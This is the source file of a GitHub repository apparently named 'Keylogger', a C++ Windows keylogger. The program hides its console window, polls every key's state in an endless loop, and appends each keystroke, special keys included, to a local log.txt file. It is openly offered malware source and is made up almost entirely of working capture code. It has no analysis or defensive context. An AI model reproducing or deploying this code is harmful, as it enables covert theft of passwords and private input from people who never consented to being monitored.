Keylogger/Main.cpp at master · fullyonline/Keylogger · GitHub

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#include <windows.h>
#include <iostream>
#include <limits>

using namespace std;

int Save(int _key, char *file);

int main()
{
    FreeConsole();

    char i;

    while(true){
        for(i = 8; i <= 255 ; i++){
            if (GetAsyncKeyState(i) == -32767){
                Save(i, "log.txt");
            }
        }
    }
    return 0;
}

int Save(int _key, char *file){

    FILE *OUTPUT_FILE;
    OUTPUT_FILE = fopen(file, "a+");

    if (_key == VK_SHIFT)
            fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
    else if (_key == VK_BACK)
            fprintf(OUTPUT_FILE, "%s", "[BACK]");
    else if (_key == VK_LBUTTON)
            fprintf(OUTPUT_FILE, "%s", "[LBUTTON]");
    else if (_key == VK_RBUTTON)
            fprintf(OUTPUT_FILE, "%s", "[RBUTTON]");
    else if (_key == VK_RETURN)
            fprintf(OUTPUT_FILE, "%s", "[RETURN]");
    else if (_key == VK_NUMPAD0)
            fprintf(OUTPUT_FILE, "%s", "0");
    else if (_key == VK_NUMPAD1)
            fprintf(OUTPUT_FILE, "%s", "1");
    else if (_key == VK_NUMPAD2)
            fprintf(OUTPUT_FILE, "%s", "2");
    else if (_key == VK_NUMPAD3)
            fprintf(OUTPUT_FILE, "%s", "3");
    else if (_key == VK_NUMPAD4)
            fprintf(OUTPUT_FILE, "%s", "4");
    else if (_key == VK_NUMPAD5)
            fprintf(OUTPUT_FILE, "%s", "5");
    else if (_key == VK_NUMPAD6)
            fprintf(OUTPUT_FILE, "%s", "6");
    else if (_key == VK_NUMPAD7)
            fprintf(OUTPUT_FILE, "%s", "7");
    else if (_key == VK_NUMPAD8)
            fprintf(OUTPUT_FILE, "%s", "8");
    else if (_key == VK_NUMPAD9)
            fprintf(OUTPUT_FILE, "%s", "9");
    else if (_key == VK_DECIMAL)
            fprintf(OUTPUT_FILE, "%s", ".");
    else
            fprintf(OUTPUT_FILE, "%s", &_key);
    fclose(OUTPUT_FILE);

    return 0;
}